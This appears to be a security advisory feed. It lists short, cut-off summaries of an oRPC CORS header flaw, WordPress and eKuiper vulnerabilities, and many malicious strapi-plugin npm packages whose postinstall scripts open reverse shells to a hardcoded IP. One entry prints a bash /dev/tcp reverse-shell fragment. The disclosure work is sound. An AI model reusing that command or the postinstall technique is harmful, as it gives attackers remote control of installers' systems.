CVE-2026-77360

oRPC is an tool that helps build APIs that are end-to-end type-safe and adhere to OpenAPI standards. Prior to 1.14.8, the @orpc/server CORS plugin in packages/server/src/plugins/cors.ts copies a client's incoming Vary request header into the response instead of controlling Vary as a response-only...

CVE-2026-77360

oRPC is a tool for building type-safe APIs adhering to OpenAPI standards. Prior to 1.14.8 , the @orpc/server CORS plugin (packages/server/src/plugins/cors.ts) copies a client's incoming Vary request header into the response instead of controlling Vary as a response-only header and using Origin fo...

CVE-2026-77360 oRPC: Vary Header Injection in CORS Plugin leading to potential Cache/CORS Bypass

oRPC is an tool that helps build APIs that are end-to-end type-safe and adhere to OpenAPI standards. Prior to 1.14.8, the @orpc/server CORS plugin in packages/server/src/plugins/cors.ts copies a client's incoming Vary request header into the response instead of controlling Vary as a response-only...

CVE-2026-77360 oRPC: Vary Header Injection in CORS Plugin leading to potential Cache/CORS Bypass

oRPC is an tool that helps build APIs that are end-to-end type-safe and adhere to OpenAPI standards. Prior to 1.14.8, the @orpc/server CORS plugin in packages/server/src/plugins/cors.ts copies a client's incoming Vary request header into the response instead of controlling Vary as a response-only...

RLSA-2026:67608 Important: leapp-repository security update

Repositories for leapp Security Fixes: leapp-repository: leapp-upgrade-el9toel10: leapp-upgrade-el9toel10: scanmysql runs mysqld --validate-config as root and can load mysql-writable plugins CVE-2026-75092 For more details about the security issues, including the impact, a CVSS score,...

WordPress Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content - ProfilePress plugin <= 4.17.1 - Unauthenticated Arbitrary Plugin Installation via Brute Force vulnerability

WordPress Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content - ProfilePress plugin = 4.17.1 - Unauthenticated Arbitrary Plugin Installation via Brute Force vulnerability discovered by Jon Bytyqi - Independent Security Researcher in WordPress...

GO-2026-6445 LF Edge eKuiper: Arbitrary File and Directory Deletion via Path Traversal in Plugin Installation Endpoint in github.com/lf-edge/ekuiper

LF Edge eKuiper: Arbitrary File and Directory Deletion via Path Traversal in Plugin Installation Endpoint in github.com/lf-edge/ekuiper...

Malicious code in strapi-plugin-feedmeeb (npm)

Source: amazon-inspector 7ecf1e41fb24d24ffe7b55319dda947ae30bfabb9266e38c17e1231cf4492ec5 [email protected] ships a package.json postinstall hook that executes postinstall.js on npm install. The script constructs a bash reverse shell of the form bash -i & /dev/tcp/14.225.210.85/80 0&1...

Malicious code in strapi-plugin-osag (npm)

Source: amazon-inspector 34d9349a970008e54774fc533af589248d578e1d34f6f82a9a6630beeabd2203 The package presents itself as a Strapi plugin but ships no plugin code — only a postinstall.js script that runs automatically on npm install. The script collects installer-side host identifiers hostname, OS...

Malicious code in strapi-plugin-ccrec-meeb (npm)

Source: amazon-inspector 27dd1178f43debcd9babc6630aa303b6953e7572d994f8efe3acc75db2cc878e The package's postinstall lifecycle script postinstall.js executes a bash /dev/tcp reverse shell to the hardcoded remote endpoint 14.225.210.85:80, giving the operator of that host an interactive shell on th...

Malicious code in strapi-plugin-perev-meeb (npm)

Source: amazon-inspector 29840a9eddc4894177d910b38ef1808c0ba7a402c267160fe8e86cff48873700 The npm postinstall hook executes postinstall.js, which uses childprocess to spawn a Python reverse shell that connects to the hardcoded remote host 14.225.210.85:80 and dup2's a PTY-backed /bin/sh over the...

Malicious code in strapi-plugin-honey-meeb (npm)

Source: amazon-inspector 752c0a1146068824e355a38b25add15f092d7cea6f846c143b5b2d2210de6766 The package's postinstall lifecycle script postinstall.js spawns a Python-based reverse shell that opens a TCP socket to the hardcoded IP 14.225.210.85:80, dup2's stdin/stdout/stderr onto the socket, and cal...

Malicious code in strapi-plugin-ccrev-meeb (npm)

Source: amazon-inspector cbcdfb404042de180795640d5ea266d8fe50afff5d180b3da0eab17f979369f3 postinstall.js executes automatically on npm install and opens a bash reverse shell via /dev/tcp redirection to the hardcoded remote endpoint 14.225.210.85:80, retrying up to 5 times. Execution is gated by a...

Malicious code in strapi-plugin-maylog-meeb (npm)

Source: amazon-inspector 8d714c1585f058d5ac528832398ffe2d0035fd8b60e97e461cdfa8e1533e851c The package's postinstall.js lifecycle script executes automatically on npm install and spawns a python3 reverse shell that connects to the hardcoded remote endpoint 14.225.210.85:80 and attaches an...

Malicious code in strapi-plugin-os-rec (npm)

Source: amazon-inspector 6b7f08345375bd52a25c34cc61a3e877c1a9f8f364a90a76b3a1eff55216ea03 postinstall.js runs automatically on npm install and collects host reconnaissance data — os.hostname, os.platform, os.arch, os.type, os.release, the current username, and enumeration of all network interface...

Malicious code in strapi-plugin-persh-meeb (npm)

Source: amazon-inspector 67ce68eeb9a309b5fff512e24a1b8f4c12fb171c0752d6a04293a4e72c805088 [email protected] ships a postinstall.js also declared as the package main that runs automatically on npm install. The script spawns a Python one-liner that opens a TCP socket to the hardcoded...

Malicious code in strapi-plugin-pysh-meeb (npm)

Source: amazon-inspector 188e8ecd93a0124135c178af848914dbd0f8cc7c3f9fdc7f5137fc94e46bb27d [email protected] ships a postinstall.js also declared as the package main that runs automatically on npm install. The script uses childprocess to spawn a Python one-liner python3 -c 'import...

Malicious code in strapi-plugin-conresh-meeb (npm)

Source: amazon-inspector d117fca143f7c8f02261755b923b29cae47f8fdcca2f69f169e26a5601b3661a The package declares a postinstall lifecycle hook "postinstall": "node postinstall.js" that executes on every npm install. postinstall.js invokes childprocess.exec with a bash reverse-shell command connectin...

Malicious code in strapi-plugin-ccip-meeb (npm)

Source: amazon-inspector fbf7a24da69c80ba7475efcb12c97f1be8b4ebbed42b47131ac9716ff38d5620 [email protected] declares scripts.postinstall = 'node postinstall.js', so postinstall.js runs automatically on npm install. The script imports childprocess and checks os.hostname against a...

Malicious code in strapi-plugin-cccon-meeb (npm)

Source: amazon-inspector b6c0ca5cf1881ed03c4a8b91832bcd8f65854bd36d9b764843370d26f599c2a0 postinstall.js runs automatically on npm install and executes a bash reverse shell to the hardcoded remote host 14.225.210.85:80 via /dev/tcp, granting that host interactive command execution on the installi...